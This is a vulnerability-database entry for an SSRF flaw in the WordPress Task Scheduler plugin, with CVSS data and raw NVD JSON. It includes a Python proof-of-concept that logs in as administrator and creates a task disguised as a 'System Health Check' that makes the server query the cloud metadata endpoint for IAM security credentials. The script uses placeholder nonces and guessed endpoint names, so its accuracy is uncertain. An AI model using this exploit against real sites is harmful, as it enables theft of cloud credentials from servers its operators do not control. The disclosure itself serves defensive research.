Security Vulnerability Report
中文
CVE-2025-10056 CVSS 4.4 MEDIUM

CVE-2025-10056

Published: 2025-10-15 09:15:37
Last Modified: 2026-04-15 00:35:42

Description

The Task Scheduler plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.6.3 via the “Check Website” task. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Task Scheduler插件 <= 1.6.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-10056 - Task Scheduler Plugin SSRF PoC # This PoC demonstrates the SSRF vulnerability in the "Check Website" task feature import requests import json # Configuration TARGET_SITE = "http://target-wordpress-site.com" ADMIN_USERNAME = "admin" ADMIN_PASSWORD = "password123" SSRF_TARGET = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Step 1: Authenticate to WordPress as Administrator session = requests.Session() # Get login page and extract nonce login_page = session.get(f"{TARGET_SITE}/wp-login.php") # Extract authentication cookies and nonce values from the login page # Perform login login_data = { "log": ADMIN_USERNAME, "pwd": ADMIN_PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_SITE}/wp-admin/", "testcookie": "1" } response = session.post(f"{TARGET_SITE}/wp-login.php", data=login_data) # Verify login success if "wp-admin" not in response.url: print("[-] Login failed. Please check credentials.") exit(1) print("[+] Successfully logged in as Administrator") # Step 2: Navigate to Task Scheduler plugin and create a "Check Website" task # The plugin creates a task that triggers an HTTP request to the specified URL task_data = { "action": "task_scheduler_create_task", "task_type": "check_website", # The vulnerable "Check Website" task type "task_url": SSRF_TARGET, # Malicious URL targeting internal service "task_name": "System Health Check", "task_interval": "3600", # Run every hour "_wpnonce": "nonce_value_here" # WordPress nonce for CSRF protection } # Step 3: Submit the task creation request response = session.post( f"{TARGET_SITE}/wp-admin/admin.php?page=task-scheduler", data=task_data ) if response.status_code == 200: print("[+] Task created successfully") print("[+] The server will now make requests to:", SSRF_TARGET) print("[+] Check task logs for SSRF response data") else: print("[-] Failed to create task") # Alternative: Direct exploitation via crafted request # Some versions may allow direct task execution via AJAX ajax_data = { "action": "ts_action_check_website", "url": SSRF_TARGET, "_ajax_nonce": "nonce_value_here" } response = session.post( f"{TARGET_SITE}/wp-admin/admin-ajax.php", data=ajax_data ) print("[+] SSRF Response:", response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10056", "sourceIdentifier": "[email protected]", "published": "2025-10-15T09:15:37.057", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Task Scheduler plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.6.3 via the “Check Website” task. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://wordpress.org/plugins/task-scheduler/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d5211437-9c6d-435f-a7f2-17ed754d0fab?source=cve", "source": "[email protected]"}]}}